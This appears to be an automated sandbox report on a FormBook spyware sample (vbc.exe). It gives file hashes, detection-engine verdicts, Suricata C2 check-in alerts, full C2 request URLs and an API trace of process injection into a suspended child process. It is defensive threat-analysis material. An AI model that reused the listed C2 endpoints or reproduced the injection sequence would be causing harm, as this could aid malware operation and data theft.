popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

vbc.exe

NSIS Malicious Library UPX PE File DLL PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6403_us Oct. 20, 2021, 5:34 p.m. Oct. 20, 2021, 5:36 p.m.
Size 254.2KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 73fe142254abec3aeaef375f0564d40a
SHA256 19428f9c431fb0f8d6fbd9ca194589bacf9d9d3e475717031373b71982bea2a5
CRC32 5060FB8A
ssdeep 6144:wBlL/ciQDQb+FraDHtBcDelxJu1cjf8Zx/saJJrBORxOZbmkZFPd:CeltxaPR8mL8Zx3JJrhRZb
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.103:49171 -> 216.194.173.79:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 216.194.173.79:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49171 -> 216.194.173.79:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49176 -> 162.241.24.110:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49176 -> 162.241.24.110:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49176 -> 162.241.24.110:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 51.81.73.1:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 51.81.73.1:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49170 -> 51.81.73.1:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49185 -> 172.217.31.243:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49185 -> 172.217.31.243:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49185 -> 172.217.31.243:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49180 -> 94.138.198.5:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49180 -> 94.138.198.5:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49180 -> 94.138.198.5:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49178 -> 138.201.145.141:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49178 -> 138.201.145.141:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49178 -> 138.201.145.141:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49177 -> 109.68.33.25:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49177 -> 109.68.33.25:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49177 -> 109.68.33.25:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49179 -> 45.138.216.23:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49179 -> 45.138.216.23:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49179 -> 45.138.216.23:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 138.128.160.186:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 138.128.160.186:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49174 -> 138.128.160.186:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49183 -> 52.58.78.16:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49183 -> 52.58.78.16:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49183 -> 52.58.78.16:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49181 -> 156.67.73.75:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49181 -> 156.67.73.75:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49181 -> 156.67.73.75:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49173 -> 208.91.197.27:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49173 -> 208.91.197.27:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49173 -> 208.91.197.27:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49182 -> 154.210.71.198:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49182 -> 154.210.71.198:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.103:49182 -> 154.210.71.198:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.tigerstarmatka.com/kqna/?GFNl=WsqGZAQros6YqmWTBX4NfZ/s8YWhGwfZXTAI3K43qiDXPWL+08MoNe9ItI/4zkDRJBUw3EwW&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.candypalette.com/kqna/?GFNl=gfz7SykQtqnvqGHDVt9Sq/sQwFu3mmkE3P7hoh5mXhnlze04JbT/9GbgDzlkmDUFL9Oz3qhg&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.midatlanticbath.com/kqna/?GFNl=ggB/CL/KYRtKG6XlF3MzMphhLgqrG506l6vnNW5K6bJVc8waEANRFYYD3RhOV4cBkcToPXaa&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.globalmarineserv.com/kqna/?GFNl=OcQswr2RSap8Tqs4oU4ZFsiLsHswYX19Q+tKNUlPXhjH/8KnGfVJ0KkYssvjpVDRe7cJzP2E&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.meggisiegert.com/kqna/?GFNl=hfZ862mxRIeJidQqdd8aIL9GgrYgW2e5BMIURab2fcg5ookX2qmzIsDvlSNuYbByVPhkgpDv&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.facetofacewith.com/kqna/?GFNl=PeXUNRBzWcryXXSI2NVMVXg+mLiheTzLRpyqlDxU843yly7wQ7gwUXyhf0XDvNpMpT2dSlCe&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.surfsolutions.info/kqna/?GFNl=dcnZeOVVJSfvUaco8qQNZ9XrhbJ3we+xyEUMa9yoWpEuWq2eXXPIXA5TkXgJFjsZU/Pq8NER&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.companyintelcloud.com/kqna/?GFNl=i87PhLMCdOyavfe8oe3DoVk+8hYSao8t8gBpFSFV3/RERuMX7oVU6SWWtdnlVjPYz2f2GpRC&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.publicyazilim.com/kqna/?GFNl=dFrlS2l6Li5DGfafNkfe9QOrXwTG+WFHgmJ24ihxQTN3FrlEXBXr0CXukKrPa6aNFySxrST0&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.caffeiny.com/kqna/?GFNl=/STjzQyNMBearyUbGha0kbvlvZ+XKPyeS+XuwOFlk5E7OzqCtoQRiHyTBU0aBvHeRKpACBp2&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.unlimitedrehab.com/kqna/?GFNl=cFNgKBTbA1svsN6cC8/+W5UTP+1BdxdtTipUKJnf15V+/a8Yee6hrfZJvGg98qTC6E/a5FqG&OH2LRV=YVIXx4dp
suspicious_features GET method with no useragent header suspicious_request GET http://www.gratitudeland.com/kqna/?GFNl=IVdY3CvIYo9KzjpPCV4V1YKYcmgBkczyN/XlE7carAyFA9E+23LHf6/wDJYA6pWe4zRkRj1R&OH2LRV=YVIXx4dp
request GET http://www.tigerstarmatka.com/kqna/?GFNl=WsqGZAQros6YqmWTBX4NfZ/s8YWhGwfZXTAI3K43qiDXPWL+08MoNe9ItI/4zkDRJBUw3EwW&OH2LRV=YVIXx4dp
request GET http://www.candypalette.com/kqna/?GFNl=gfz7SykQtqnvqGHDVt9Sq/sQwFu3mmkE3P7hoh5mXhnlze04JbT/9GbgDzlkmDUFL9Oz3qhg&OH2LRV=YVIXx4dp
request GET http://www.midatlanticbath.com/kqna/?GFNl=ggB/CL/KYRtKG6XlF3MzMphhLgqrG506l6vnNW5K6bJVc8waEANRFYYD3RhOV4cBkcToPXaa&OH2LRV=YVIXx4dp
request GET http://www.globalmarineserv.com/kqna/?GFNl=OcQswr2RSap8Tqs4oU4ZFsiLsHswYX19Q+tKNUlPXhjH/8KnGfVJ0KkYssvjpVDRe7cJzP2E&OH2LRV=YVIXx4dp
request GET http://www.meggisiegert.com/kqna/?GFNl=hfZ862mxRIeJidQqdd8aIL9GgrYgW2e5BMIURab2fcg5ookX2qmzIsDvlSNuYbByVPhkgpDv&OH2LRV=YVIXx4dp
request GET http://www.facetofacewith.com/kqna/?GFNl=PeXUNRBzWcryXXSI2NVMVXg+mLiheTzLRpyqlDxU843yly7wQ7gwUXyhf0XDvNpMpT2dSlCe&OH2LRV=YVIXx4dp
request GET http://www.surfsolutions.info/kqna/?GFNl=dcnZeOVVJSfvUaco8qQNZ9XrhbJ3we+xyEUMa9yoWpEuWq2eXXPIXA5TkXgJFjsZU/Pq8NER&OH2LRV=YVIXx4dp
request GET http://www.companyintelcloud.com/kqna/?GFNl=i87PhLMCdOyavfe8oe3DoVk+8hYSao8t8gBpFSFV3/RERuMX7oVU6SWWtdnlVjPYz2f2GpRC&OH2LRV=YVIXx4dp
request GET http://www.publicyazilim.com/kqna/?GFNl=dFrlS2l6Li5DGfafNkfe9QOrXwTG+WFHgmJ24ihxQTN3FrlEXBXr0CXukKrPa6aNFySxrST0&OH2LRV=YVIXx4dp
request GET http://www.caffeiny.com/kqna/?GFNl=/STjzQyNMBearyUbGha0kbvlvZ+XKPyeS+XuwOFlk5E7OzqCtoQRiHyTBU0aBvHeRKpACBp2&OH2LRV=YVIXx4dp
request GET http://www.unlimitedrehab.com/kqna/?GFNl=cFNgKBTbA1svsN6cC8/+W5UTP+1BdxdtTipUKJnf15V+/a8Yee6hrfZJvGg98qTC6E/a5FqG&OH2LRV=YVIXx4dp
request GET http://www.gratitudeland.com/kqna/?GFNl=IVdY3CvIYo9KzjpPCV4V1YKYcmgBkczyN/XlE7carAyFA9E+23LHf6/wDJYA6pWe4zRkRj1R&OH2LRV=YVIXx4dp
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2476
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x10008000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x007d0000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsxC60.tmp\yhjjbtf.dll
file C:\Users\test22\AppData\Local\Temp\nsxC60.tmp\yhjjbtf.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000218
1 0 0
Process injection Process 2476 called NtSetContextThread to modify thread in remote process 2572
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2002059716
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314112
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000214
process_identifier: 2572
1 0 0
Elastic malicious (high confidence)
MicroWorld-eScan Trojan.NSISX.Spy.Gen.2
FireEye Generic.mg.73fe142254abec3a
Malwarebytes Trojan.Injector
Sangfor Suspicious.Win32.Save.a
Cybereason malicious.254abe
Symantec ML.Attribute.HighConfidence
APEX Malicious
Paloalto generic.ml
Kaspersky UDS:Trojan-Spy.Win32.Noon.gen
BitDefender Trojan.NSISX.Spy.Gen.2
Emsisoft Trojan.NSISX.Spy.Gen.2 (B)
McAfee-GW-Edition BehavesLike.Win32.Vopak.dc
Sophos Generic ML PUA (PUA)
Ikarus Trojan.NSIS.Agent.S
Avira TR/Crypt.ZPACK.Gen
ZoneAlarm UDS:DangerousObject.Multi.Generic
GData Zum.Androm.1
Cynet Malicious (score: 100)
MAX malware (ai score=89)
SentinelOne Static AI - Malicious PE
Fortinet W32/Injector_AGen.AW!tr
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2576
thread_handle: 0x00000214
process_identifier: 2572
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000218
1 1 0

NtGetContextThread

 thread_handle: 0x00000214
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2572
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000218
1 0 0

NtSetContextThread

 registers.eip: 2002059716
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314112
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000214
process_identifier: 2572
1 0 0